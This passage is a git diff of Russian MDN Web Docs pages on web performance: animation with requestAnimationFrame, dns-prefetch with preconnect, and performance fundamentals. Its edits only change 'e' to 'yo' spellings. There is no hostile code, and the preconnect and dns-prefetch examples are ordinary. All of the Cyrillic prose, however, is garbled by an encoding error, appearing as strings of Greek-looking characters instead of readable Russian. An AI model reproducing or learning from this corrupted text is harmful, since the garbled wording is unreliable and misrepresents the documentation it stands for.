Ρ€Π΅Π½Π΄Π΅Ρ€Π° (render tree). И хотя отрисовка - это ΠΎΡ‡Π΅Π½ΡŒ быстрый процСсс, ΠΈ ΠΎΠ½, вСроятно, слабо влияСт Π½Π° ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ, ΠΎΡ‡Π΅Π½ΡŒ Π²Π°ΠΆΠ½ΠΎ ΠΏΠΎΠΌΠ½ΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ ΠΎΠ±Π° этапа - ΠΊΠΎΠΌΠΏΠΎΠ½ΠΎΠ²ΠΊΠ° (layout) ΠΈ отрисовка (paint) Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ сообща ΠΈ ΡƒΠΊΠ»Π°Π΄Ρ‹Π²Π°Ρ‚ΡŒΡΡ Π² частоту обновлСния ΠΊΠ°Π΄Ρ€ΠΎΠ². КаТдоС CSS-свойство, примСняСмоС ΠΊ Π»ΡŽΠ±ΠΎΠΌΡƒ ΡƒΠ·Π»Ρƒ (node) ΡƒΠ²Π΅Π»ΠΈΡ‡ΠΈΠ²Π°Π΅Ρ‚ врСмя отрисовки, Π½ΠΎ ΠΏΠΎΠ»Π½ΠΎΠ΅ ΡƒΠ΄Π°Π»Π΅Π½ΠΈΠ΅ стиля, способноС ΡΡΠΊΠΎΠ½ΠΎΠΌΠΈΡ‚ΡŒ Π²Π°ΠΌ 0.001мс, вряд Π»ΠΈ даст Π²Π°ΠΌ ΠΆΠ΅Π»Π°Π΅ΠΌΡ‹ΠΉ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚, Π½ΠΎ Π·Π°Ρ‚ΠΎ с Π»Ρ‘Π³ΠΊΠΎΡΡ‚ΡŒΡŽ ΡƒΡ…ΡƒΠ΄ΡˆΠΈΡ‚ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠΉ ΠΎΠΏΡ‹Ρ‚. <strong>ΠŸΠΎΠΌΠ½ΠΈΡ‚Π΅ - сначала Π½ΡƒΠΆΠ½ΠΎ ΠΈΠ·ΠΌΠ΅Ρ€ΡΡ‚ΡŒ, Π° ΠΏΠΎΡ‚ΠΎΠΌ ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎΠ΅!</strong></p>
<h2 id="ΠžΠΏΡ‚ΠΈΠΌΠΈΠ·Π°Ρ†ΠΈΡ_CRP">ΠžΠΏΡ‚ΠΈΠΌΠΈΠ·Π°Ρ†ΠΈΡΒ CRP</h2>
diff --git a/files/ru/web/performance/css_javascript_animation_performance/index.html b/files/ru/web/performance/css_javascript_animation_performance/index.html
index b6dbb2bedf..8996f5f957 100644
--- a/files/ru/web/performance/css_javascript_animation_performance/index.html
+++ b/files/ru/web/performance/css_javascript_animation_performance/index.html
@@ -25,7 +25,7 @@ translation_of: Web/Performance/CSS_JavaScript_animation_performance
<h2 id="requestAnimationFrame">requestAnimationFrame</h2>
-<p>API {{domxref("Window.requestAnimationFrame","requestAnimationFrame()")}} прСдоставляСт эффСктивный способ создания Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΉ Π² JavaScript. Ѐункция (callback), ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Π²Ρ‹ ΠΏΠ΅Ρ€Π΅Π΄Π°Π΅Ρ‚Π΅ Π² этот ΠΌΠ΅Ρ‚ΠΎΠ΄, Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π·Ρ‹Π²Π°Ρ‚ΡŒΡΡ ΠΏΠ΅Ρ€Π΅Π΄ ΠΊΠ°ΠΆΠ΄ΠΎΠΉΒ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ отрисовкой Π½ΠΎΠ²ΠΎΠ³ΠΎ Ρ„Ρ€Π΅ΠΉΠΌΠ°. Π“Π»Π°Π²Π½ΠΎΠ΅ ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ ΠΎΡ‚Β {{domxref("WindowTimers.setTimeout","setTimeout()")}}/{{domxref("WindowTimers.setInterval","setInterval()")}} Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ здСсь Π²Π°ΠΌ Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Ρ‚ΡŒ врСмя, Ρ‡Π΅Ρ€Π΅Π· ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ функция запустится.Β <code>requestAnimationFrame()</code> Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Π³ΠΎΡ€Π°Π·Π΄ΠΎ эффСктивнСС, учитывая частоту ΠΊΠ°Π΄Ρ€ΠΎΠ² ΠΈ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ систСмы. Π Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ ΠΌΠΎΠ³ΡƒΡ‚ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒΒ  Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΡŽ, просто измСняя стили элСмСнта ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π° происходит ΠΏΠΎΠ΄Π³ΠΎΡ‚ΠΎΠ²ΠΊΠ° Π½ΠΎΠ²ΠΎΠ³ΠΎ ΠΊΠ°Π΄Ρ€Π° (ΠΈΠ»ΠΈ ΠΊΠΎΠ³Π΄Π° обновляСтся ΠΏΠΎΠ»ΠΎΡ‚Π½ΠΎ Canvas ΠΈΠ»ΠΈ Π² Π΄Ρ€ΡƒΠ³ΠΈΡ… случаях).</p>
+<p>API {{domxref("Window.requestAnimationFrame","requestAnimationFrame()")}} прСдоставляСт эффСктивный способ создания Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΉ Π² JavaScript. Ѐункция (callback), ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Π²Ρ‹ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‘Ρ‚Π΅ Π² этот ΠΌΠ΅Ρ‚ΠΎΠ΄, Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π·Ρ‹Π²Π°Ρ‚ΡŒΡΡ ΠΏΠ΅Ρ€Π΅Π΄ ΠΊΠ°ΠΆΠ΄ΠΎΠΉΒ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ отрисовкой Π½ΠΎΠ²ΠΎΠ³ΠΎ Ρ„Ρ€Π΅ΠΉΠΌΠ°. Π“Π»Π°Π²Π½ΠΎΠ΅ ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ ΠΎΡ‚Β {{domxref("WindowTimers.setTimeout","setTimeout()")}}/{{domxref("WindowTimers.setInterval","setInterval()")}} Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ здСсь Π²Π°ΠΌ Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Ρ‚ΡŒ врСмя, Ρ‡Π΅Ρ€Π΅Π· ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ функция запустится.Β <code>requestAnimationFrame()</code> Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Π³ΠΎΡ€Π°Π·Π΄ΠΎ эффСктивнСС, учитывая частоту ΠΊΠ°Π΄Ρ€ΠΎΠ² ΠΈ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ систСмы. Π Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ ΠΌΠΎΠ³ΡƒΡ‚ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒΒ  Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΡŽ, просто измСняя стили элСмСнта ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π° происходит ΠΏΠΎΠ΄Π³ΠΎΡ‚ΠΎΠ²ΠΊΠ° Π½ΠΎΠ²ΠΎΠ³ΠΎ ΠΊΠ°Π΄Ρ€Π° (ΠΈΠ»ΠΈ ΠΊΠΎΠ³Π΄Π° обновляСтся ΠΏΠΎΠ»ΠΎΡ‚Π½ΠΎ Canvas ΠΈΠ»ΠΈ Π² Π΄Ρ€ΡƒΠ³ΠΈΡ… случаях).</p>
<div class="note">
<p><strong>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°</strong>: Подобно CSS transitionΒ ΠΈΒ animation, <code>requestAnimationFrame()</code> приостанавливаСт Ρ€Π°Π±ΠΎΡ‚Ρƒ, ΠΊΠΎΠ³Π΄Π° Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠΉ Ρ‚Π°Π± пСрСводится Π² Ρ„ΠΎΠ½ΠΎΠ²Ρ‹ΠΉ Ρ€Π΅ΠΆΠΈΠΌ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΏΡ€ΠΈ смСнС фокуса)</p>
@@ -38,7 +38,7 @@ translation_of: Web/Performance/CSS_JavaScript_animation_performance
<p>По Ρ„Π°ΠΊΡ‚Ρƒ, Π² Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²Π΅ случаСв, ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΉ CSS практичСски ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ‡Π½Π° анимациям Π½Π° JavaScript. По ΠΊΡ€Π°ΠΉΠ½Π΅ΠΉ ΠΌΠ΅Ρ€Π΅ Π² Firefox. Авторы Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… JavaScript библиотСк для Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ GSAP ΠΈΠ»ΠΈ Velocity.JS, Π΄Π°ΠΆΠ΅ бСрутся ΡƒΡ‚Π²Π΅Ρ€ΠΆΠ΄Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ ΠΈΡ… Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ ΠΌΠΎΠ³ΡƒΡ‚ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒΒ Π±Ρ‹ΡΡ‚Ρ€Π΅Π΅, Ρ‡Π΅ΠΌ Π°Π½Π°Π»ΠΎΠ³ΠΈΡ‡Π½Ρ‹Π΅ Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ Π½Π° CSS. Π’Π°ΠΊΠΎΠ΅ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ CSS transitions/animations просто Π·Π°Π½ΠΎΠ²ΠΎ Π²Ρ‹Ρ‡ΠΈΡΠ»ΡΡŽΡ‚ стили элСмСнтов Π² основном ΠΏΠΎΡ‚ΠΎΠΊΠ΅ процСссора сразу ΠΏΠ΅Ρ€Π΅Π΄ Ρ‚Π΅ΠΌ, ΠΊΠ°ΠΊ срабатываСт событиС repaint, Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π½ΠΎ Ρ‚ΠΎ ΠΆΠ΅ самоС, Ρ‡Ρ‚ΠΎ Π²Ρ‹Ρ‡ΠΈΡΠ»ΡΡ‚ΡŒ стили Π·Π°Π½ΠΎΠ²ΠΎ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽΒ <code>requestAnimationFrame()</code>. Если ΠΎΠ±Π΅ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡŽΡ‚ΡΡ Π² ΠΎΠ΄Π½ΠΎΠΌ ΠΏΠΎΡ‚ΠΎΠΊΠ΅, Ρ‚ΠΎ Ρ€Π°Π·Π½ΠΈΡ†Ρ‹ Π² ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚.</p>
-<p>Π’ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ сСкции ΠΌΡ‹ пройдСмся ΠΏΠΎ тСстам ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Firefox, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ, ΠΊΠ°ΠΊΠΈΠ΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‚ эффСктивнСС.</p>
+<p>Π’ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ сСкции ΠΌΡ‹ пройдёмся ΠΏΠΎ тСстам ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Firefox, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ, ΠΊΠ°ΠΊΠΈΠ΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‚ эффСктивнСС.</p>
<h3 id="Π’ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅_измСрСния_частоты_ΠΊΠ°Π΄Ρ€ΠΎΠ²_FPS">Π’ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ измСрСния частоты ΠΊΠ°Π΄Ρ€ΠΎΠ²Β FPS</h3>
diff --git a/files/ru/web/performance/dns-prefetch/index.html b/files/ru/web/performance/dns-prefetch/index.html
index d6575dcf2a..2db1d62980 100644
--- a/files/ru/web/performance/dns-prefetch/index.html
+++ b/files/ru/web/performance/dns-prefetch/index.html
@@ -13,7 +13,7 @@ translation_of: Web/Performance/dns-prefetch
<p>Π‘Ρ‹Π²Π°ΡŽΡ‚ случаи, ΠΊΠΎΠ³Π΄Π° Π² вашСм ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ ссылки Π½Π° Π΄ΠΎΠΌΠ΅Π½Ρ‹, ΠΎΡ‚Π»ΠΈΡ‡Π½Ρ‹Π΅ ΠΎΡ‚ основного Π΄ΠΎΠΌΠ΅Π½Π° прилоТСния. НапримСр, Π²Π½ΡƒΡ‚Ρ€ΠΈ вашСго прилоТСния Π½Π° "a.com" Π΅ΡΡ‚ΡŒ ссылка Π½Π° Π΄ΠΎΠΌΠ΅Π½ "b.org". Для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΎΠΉΡ‚ΠΈ ΠΏΠΎ этой ссылкС, ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠΉ ΠΊΠ»ΠΈΠ΅Π½Ρ‚ Π΄ΠΎΠ»ΠΆΠ΅Π½ сначала Π²Ρ‹ΡΡΠ½ΠΈΡ‚ΡŒ, ΠΊΠ°ΠΊΠΎΠΉ адрСс Π² ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Π΅ соотвСтствуСт Π΄ΠΎΠΌΠ΅Π½Π½ΠΎΠΌΡƒ ΠΈΠΌΠ΅Π½ΠΈ "b.org". Π­Ρ‚ΠΎΡ‚ процСсс называСтся <code>DNS resolution.</code> И хотя ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌΡ‹ ΠΊΠ΅ΡˆΠΈΡ€ΠΎΠ²Π°Π½ΠΈΡ DNS ΠΏΠΎΠΌΠΎΠ³Π°ΡŽΡ‚ ΡΠΎΠΊΡ€Π°Ρ‚ΠΈΡ‚ΡŒ врСмя запросов, DNS Resolution Π·Π°ΠΌΠ΅Ρ‚Π½ΠΎ влияСт Π½Π° врСмя оТидания запроса ΠΈΠ·-Π·Π° Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ клиСнтский запрос ΡƒΡ…ΠΎΠ΄ΠΈΡ‚ сначала Π½Π° DNS сСрвСра ΠΈ доТидаСтся ΠΎΡ‚Π²Π΅Ρ‚Π° ΠΎΡ‚ Π½ΠΈΡ…. Для ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‚ соСдинСния ΠΊΠΎ ΠΌΠ½ΠΎΠ³ΠΈΠΌ сторонним Π΄ΠΎΠΌΠ΅Π½Π°ΠΌ, влияниС DNS Resolution ΠΌΠΎΠΆΠ΅Ρ‚ сильно ΡƒΠΌΠ΅Π½ΡŒΡˆΠΈΡ‚ΡŒ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ.</p>
-<p><code>dns-prefetch</code> ΠΏΠΎΠΌΠΎΠ³Π°Π΅Ρ‚ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°ΠΌ Π·Π°ΠΌΠ°ΡΠΊΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΠΆΠΈΠ΄Π°Π½ΠΈΠ΅ DNS resolution. <a href="/en-US/docs/Web/HTML/Element/link">HTML <code>&lt;link&gt;</code> элСмСнт</a> ΠΏΡ€Π΅Π΄Π»Π°Π³Π°Π΅Ρ‚ ΠΏΠΎΠ΄ΠΎΠ±Π½Ρ‹ΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π» с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° <a href="/en-US/docs/Web/HTML/Attributes/rel"><code>rel</code></a>, Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ <code>dns-prefetch</code>. Π’ этом случаС, ΠΏΡ€Π΅Π΄Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠ° DNS ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Π΅Ρ‚ для Π΄ΠΎΠΌΠ΅Π½Π°, ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠ³ΠΎ Π² Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π΅ <a href="/en-US/docs/Web/HTML/Attributes">href</a>:</p>
+<p><code>dns-prefetch</code> ΠΏΠΎΠΌΠΎΠ³Π°Π΅Ρ‚ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°ΠΌ Π·Π°ΠΌΠ°ΡΠΊΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΠΆΠΈΠ΄Π°Π½ΠΈΠ΅ DNS resolution. <a href="/en-US/docs/Web/HTML/Element/link">HTML <code>&lt;link&gt;</code> элСмСнт</a> ΠΏΡ€Π΅Π΄Π»Π°Π³Π°Π΅Ρ‚ ΠΏΠΎΠ΄ΠΎΠ±Π½Ρ‹ΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π» с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° <a href="/en-US/docs/Web/HTML/Attributes/rel"><code>rel</code></a>, Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ <code>dns-prefetch</code>. Π’ этом случаС, ΠΏΡ€Π΅Π΄Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠ° DNS ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Ρ‘Ρ‚ для Π΄ΠΎΠΌΠ΅Π½Π°, ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠ³ΠΎ Π² Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π΅ <a href="/en-US/docs/Web/HTML/Attributes">href</a>:</p>
<h2 id="Бинтаксис">Бинтаксис</h2>
@@ -44,7 +44,7 @@ translation_of: Web/Performance/dns-prefetch
<pre class="brush: unix notranslate">Link: &lt;https://fonts.gstatic.com/&gt;; rel=dns-prefetch</pre>
-<p><strong>Π’ Ρ‚Ρ€Π΅Ρ‚ΡŒΠΈΡ…, </strong> Ρ…ΠΎΡ€ΠΎΡˆΠ΅ΠΉ ΠΏΡ€Π°ΠΊΡ‚ΠΈΠΊΠΎΠΉ считаСтся использованиС <code>dns-prefetch</code> Π² ΠΏΠ°Ρ€Π΅ с  <code>preconnect</code>. Π’ Ρ‚ΠΎ врСмя, ΠΊΠ°ΠΊ <code>dns-prefetch</code> срабатываСт Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΏΡ€ΠΈ DNS поискС, <code>preconnect</code> устанавливаСт соСдинСниС ΠΊ Π½ΡƒΠΆΠ½ΠΎΠΌΡƒ сСрвСру. Π­Ρ‚ΠΎΡ‚ процСсс Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ Π² сСбя DNS resolution, установку TCP соСдинСния ΠΈ установлСниС бСзопасного соСдинСния (<a href="/en-US/docs/Glossary/TLS">TLS</a> Ρ€ΡƒΠΊΠΎΠΏΠΎΠΆΠ°Ρ‚ΠΈΠ΅), Ссли ΠΎΠ½ΠΎ доступно. ΠšΠΎΠΌΠ±ΠΈΠ½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ этих Π΄Π²ΡƒΡ… инструкций Π΄Π°Π΅Ρ‚ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ Π΅Ρ‰Ρ‘ большС ΡΠΎΠΊΡ€Π°Ρ‚ΠΈΡ‚ΡŒ врСмя оТидания для кросс-Π΄ΠΎΠΌΠ΅Π½Π½Ρ‹Ρ… запросов. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΈΡ… вмСстС Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ:</p>
+<p><strong>Π’ Ρ‚Ρ€Π΅Ρ‚ΡŒΠΈΡ…, </strong> Ρ…ΠΎΡ€ΠΎΡˆΠ΅ΠΉ ΠΏΡ€Π°ΠΊΡ‚ΠΈΠΊΠΎΠΉ считаСтся использованиС <code>dns-prefetch</code> Π² ΠΏΠ°Ρ€Π΅ с  <code>preconnect</code>. Π’ Ρ‚ΠΎ врСмя, ΠΊΠ°ΠΊ <code>dns-prefetch</code> срабатываСт Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΏΡ€ΠΈ DNS поискС, <code>preconnect</code> устанавливаСт соСдинСниС ΠΊ Π½ΡƒΠΆΠ½ΠΎΠΌΡƒ сСрвСру. Π­Ρ‚ΠΎΡ‚ процСсс Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ Π² сСбя DNS resolution, установку TCP соСдинСния ΠΈ установлСниС бСзопасного соСдинСния (<a href="/en-US/docs/Glossary/TLS">TLS</a> Ρ€ΡƒΠΊΠΎΠΏΠΎΠΆΠ°Ρ‚ΠΈΠ΅), Ссли ΠΎΠ½ΠΎ доступно. ΠšΠΎΠΌΠ±ΠΈΠ½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ этих Π΄Π²ΡƒΡ… инструкций Π΄Π°Ρ‘Ρ‚ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ Π΅Ρ‰Ρ‘ большС ΡΠΎΠΊΡ€Π°Ρ‚ΠΈΡ‚ΡŒ врСмя оТидания для кросс-Π΄ΠΎΠΌΠ΅Π½Π½Ρ‹Ρ… запросов. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΈΡ… вмСстС Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ:</p>
<pre class="brush: html notranslate">&lt;link rel="preconnect" href="https://fonts.gstatic.com/" crossorigin&gt;
&lt;link rel="dns-prefetch" href="https://fonts.gstatic.com/"&gt;
diff --git a/files/ru/web/performance/fundamentals/index.html b/files/ru/web/performance/fundamentals/index.html
index b7e7d891c0..704ebee8a2 100644
--- a/files/ru/web/performance/fundamentals/index.html
+++ b/files/ru/web/performance/fundamentals/index.html
@@ -19,7 +19,7 @@ original_slug: Web/Performance/ΠžΡΠ½ΠΎΠ²Ρ‹
<p>ΠžΡ‰ΡƒΡ‰Π°Π΅ΠΌΠ°Ρ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ "ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ" - это СдинствСнная ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ, которая ΠΈΠΌΠ΅Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅. ΠŸΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΠΈ Π²Π·Π°ΠΈΠΌΠΎΠ΄Π΅ΠΉΡΡ‚Π²ΡƒΡŽΡ‚ с систСмой с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Π²Π²ΠΎΠ΄Π° ΠΊΠ°ΠΊΠΈΡ…-Ρ‚ΠΎ Π΄Π°Π½Π½Ρ‹Ρ…: прикосновСний, двиТСния ΠΈ Ρ€Π΅Ρ‡ΠΈ. Π’ ΠΎΡ‚Π²Π΅Ρ‚, ΠΎΠ½ΠΈ ΠΏΠΎΠ»ΡƒΡ‡Π°ΡŽΡ‚ Ρ€Π΅Π°ΠΊΡ†ΠΈΡŽ, ΠΎΡΠ½ΠΎΠ²Π°Π½Π½ΡƒΡŽ Π½Π° Π·Ρ€ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΌ, Ρ‚Π°ΠΊΡ‚ΠΈΠ»ΡŒΠ½ΠΎΠΌ ΠΈΠ»ΠΈ слуховом Π°ΠΏΠΏΠ°Ρ€Π°Ρ‚Π°Ρ…. ΠŸΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ - это качСство Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ систСма Ρ€Π΅Π°Π³ΠΈΡ€ΡƒΠ΅Ρ‚ Π½Π° дСйствия ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ.</p>
